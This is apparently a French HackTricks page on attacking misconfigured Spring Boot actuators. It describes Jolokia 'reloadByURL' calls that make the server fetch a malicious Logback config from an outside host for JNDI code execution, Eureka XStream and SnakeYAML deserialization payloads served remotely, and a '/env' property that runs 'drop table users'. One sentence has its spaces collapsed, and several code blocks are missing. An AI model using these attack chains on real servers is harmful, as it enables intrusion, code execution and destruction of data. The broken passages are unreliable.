<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Le Framework Spring Boot inclut un certain nombre de fonctionnalités appelées actuateurs pour vous aider à surveiller et gérer votre application web lorsque vous la déployez en production. Destinés à être utilisés pour l'audit, la santé et la collecte de métriques, ils peuvent également ouvrir une porte dérobée sur votre serveur lorsqu'ils sont mal configurés.
Lorsqu'une application Spring Boot est en cours d'exécution, elle enregistre automatiquement plusieurs points de terminaison (tels que '/health', '/trace', '/beans', '/env', etc.) dans le processus de routage. Pour Spring Boot 1 - 1.4, ils sont accessibles sans authentification, ce qui pose d'importants problèmes de sécurité. À partir de la version 1.5 de Spring, tous les points de terminaison à l'exception de '/health' et '/info' sont considérés comme sensibles et sécurisés par défaut, mais cette sécurité est souvent désactivée par les développeurs d'applications.
La plupart des actuateurs ne prennent en charge que les requêtes GET et révèlent simplement des données de configuration sensibles, mais plusieurs d'entre eux sont particulièrement intéressants pour les chasseurs de shell :
Si la bibliothèque Jolokia est dans le classpath de l'application cible, elle est automatiquement exposée par Spring Boot sous le point de terminaison actuateur '/jolokia'. Jolokia permet l'accès HTTP à tous les MBeans enregistrés et est conçu pour effectuer les mêmes opérations que vous pouvez effectuer avec JMX. Il est possible de lister toutes les actions MBeans disponibles en utilisant l'URL :
L'action '**reloadByURL**', fournie par la bibliothèque Logback, nous permet de recharger la configuration de journalisation à partir d'une URL externe. Elle pourrait être déclenchée simplement en naviguant vers : [**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
1. La configuration a un format XML, et bien sûr, Logback l'analyse avec les entités externes activées, donc elle est vulnérable au XXE aveugle.
2. La configuration Logback a la fonctionnalité ['Obtention de variables à partir de JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). Dans le fichier XML, nous pouvons inclure une balise comme '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' et l'attribut name sera passé à la méthode DirContext.lookup(). Si nous pouvons fournir un nom arbitraire à la fonction .lookup(), nous n'avons même pas besoin de XXE ou HeapDump car cela nous donne une **exécution de code à distance** complète.
2\. La fonction 'reloadByURL' télécharge une nouvelle configuration depuis [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) et l'analyse comme une configuration Logback. Cette configuration malveillante devrait avoir le contenu suivant :
3\. Lorsque ce fichier est analysé sur le serveur vulnérable, il crée une connexion au serveur LDAP contrôlé par l'attaquant spécifié dans la valeur du paramètre "env-entry-name", ce qui entraîne une résolution JNDI. Le serveur LDAP malveillant peut retourner un objet de type 'Reference' pour déclencher une **exécution du bytecode fourni** sur l'application cible. Les attaques JNDI sont bien expliquées dans ce [document de recherche MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nouvelle technique d'exploitation JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (décrite précédemment dans notre blog) fonctionne également ici, car Tomcat est le serveur d'application par défaut dans le Framework Spring Boot.
Si les bibliothèques Spring Cloud sont dans le classpath, le point de terminaison **'/env'** vous permet de modifier les propriétés environnementales de Spring. Tous les beans annotés '**@ConfigurationProperties**' peuvent être modifiés et reliés. De nombreuses propriétés que nous pouvons contrôler sont répertoriées sur le point de terminaison de l'actuateur '/configprops'. En réalité, il y en a des tonnes, mais il n'est absolument pas clair ce que nous devons modifier pour obtenir quelque chose. Après avoir passé quelques jours à jouer avec, nous avons trouvé ceci :
Cette propriété modifie l'URL du service Eureka en une valeur arbitraire. Le serveur Eureka est normalement utilisé comme serveur de découverte, et presque toutes les applications Spring Cloud s'y enregistrent et y envoient des mises à jour de statut. Si vous avez la chance d'avoir Eureka-Client <1.8.7dansleclasspathcible(ilestnormalementinclusdansSpringCloudNetflix),vouspouvezexploiterla**vulnérabilité de désérialisation XStream**quis'ytrouve.Toutcequevousavezàfaireestdedéfinirlapropriété'eureka.client.serviceUrl.defaultZone'avecl'URLdevotreserveur( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream))via'/env',puisd'appelerlepointdeterminaison'/refresh'.Aprèscela,votreserveurdevraitservirlachargeutileXStreamaveclecontenusuivant:
Ce payload XStream est une version légèrement modifiée de la chaîne de gadgets ImageIO JDK-only issue de la [recherche Marshalsec](https://github.com/mbechler/marshalsec). La seule différence ici est l'utilisation de **LinkedHashSet** pour déclencher la méthode 'jdk.nashorn.internal.objects.NativeString.hashCode()'. Le payload original utilise java.lang.Map pour obtenir le même comportement, mais la configuration XStream de Eureka a un [convertisseur personnalisé pour les maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) qui le rend inutilisable. Le payload ci-dessus n'utilise pas du tout les Maps et peut être utilisé pour obtenir une exécution de code à distance sans contraintes supplémentaires.
En utilisant les Spring Actuators, vous pouvez exploiter cette vulnérabilité même si vous n'avez pas accès à un serveur Eureka interne ; vous avez seulement besoin d'un point de terminaison "/env" disponible.
**spring.datasource.tomcat.validationQuery=drop+table+users** - vous permet de spécifier n'importe quelle requête SQL, et elle sera automatiquement exécutée contre la base de données actuelle. Cela pourrait être n'importe quelle instruction, y compris insert, update ou delete.
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - vous permet de modifier la chaîne de connexion JDBC actuelle.
Le dernier a l'air génial, mais le problème est que lorsque l'application exécutant la connexion à la base de données est déjà établie, la simple mise à jour de la chaîne JDBC n'a aucun effet. Heureusement, il existe une autre propriété qui peut nous aider dans ce cas :
L'astuce que nous pouvons utiliser ici est d'augmenter le nombre de connexions simultanées à la base de données. Ainsi, nous pouvons changer la chaîne de connexion JDBC, augmenter le nombre de connexions, et après cela envoyer de nombreuses requêtes à l'application pour simuler une charge lourde. Sous la charge, l'application créera une nouvelle connexion à la base de données avec la chaîne JDBC malveillante mise à jour. J'ai testé cette technique localement contre Mysql et cela fonctionne à merveille.
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuration du cloud Spring (n'a aucun effet après le démarrage de l'application, seules les valeurs initiales sont utilisées.)
Ces propriétés n'ont aucun effet à moins que le point de terminaison '/restart' ne soit appelé. Ce point de terminaison redémarre tous les ApplicationContext mais est désactivé par défaut.
**N.B.** Dans Spring Boot 2x, le format de requête pour modifier les propriétés via le point de terminaison '/env' est légèrement différent (il utilise le format json), mais l'idée est la même.
Si vous souhaitez tester cette vulnérabilité localement, j'ai créé une [application Spring Boot simple sur ma page Github](https://github.com/artsploit/actuator-testbed). Tous les payloads devraient fonctionner là-bas, sauf pour les paramètres de base de données (à moins que vous ne la configuriez).
Une liste complète des actuators par défaut peut être trouvée ici : [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Gardez à l'esprit que les développeurs d'applications peuvent créer leurs propres points de terminaison en utilisant l'annotation @Endpoint.
Cette requête modifie la propriété 'spring.cloud.bootstrap.location', qui est utilisée pour charger la configuration externe et l'analyser au format YAML. Pour que cela se produise, nous devons également appeler le point de terminaison '/refresh'.
Lorsque la configuration YAML est récupérée depuis le serveur distant, elle est analysée avec la bibliothèque SnakeYAML, qui est également susceptible aux attaques de désérialisation. Le payload (yaml-payload.yml) peut être généré en utilisant la recherche Marshalsec mentionnée ci-dessus :
La désérialisation de ce fichier déclenche l'exécution du constructeur de 'ScriptEngineManager' avec le 'URLClassLoader' fourni. En résumé, cela conduit à la méthode **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'**, qui tente de trouver toutes les implémentations de l'interface 'ScriptEngineFactory' dans toutes les bibliothèques du classpath. Puisque nous pouvons ajouter une nouvelle bibliothèque via 'URLClassLoader', nous pouvons servir une nouvelle 'ScriptEngineFactory' avec le bytecode malveillant à l'intérieur. Pour ce faire, nous devons créer une archive jar avec les fichiers obligatoires suivants : [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) devrait contenir le bytecode réel, avec le payload malveillant dans le constructeur.
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) doit être juste un fichier texte contenant une référence complète à 'artsploit.AwesomeScriptEngineFactory', afin que le ServiceLoader sache où trouver la classe : **artsploit.AwesomeScriptEngineFactory** Encore une fois, cette technique d'exploitation nécessite que spring cloud soit dans le classpath, mais en comparaison avec le payload XStream de Eureka, elle fonctionne même dans la dernière version. Vous pouvez trouver le payload complet dans mon projet github : [yaml-payload](https://github.com/artsploit/yaml-payload).
Consultez cette page pour savoir comment exploiter la combinaison /env + H2 : [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## SSRF sur Spring Boot via une interprétation incorrecte du chemin <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**D'après cette recherche**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation) : Le framework Spring accepte le caractère séparateur de paramètres matriciels `;` avant le premier slash du chemin HTTP :
Considérant que Spring autorise n'importe quel caractère suivant le séparateur de paramètres Matrix, il devient également possible d'utiliser le caractère `@` pour récupérer un point de terminaison arbitraire.
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
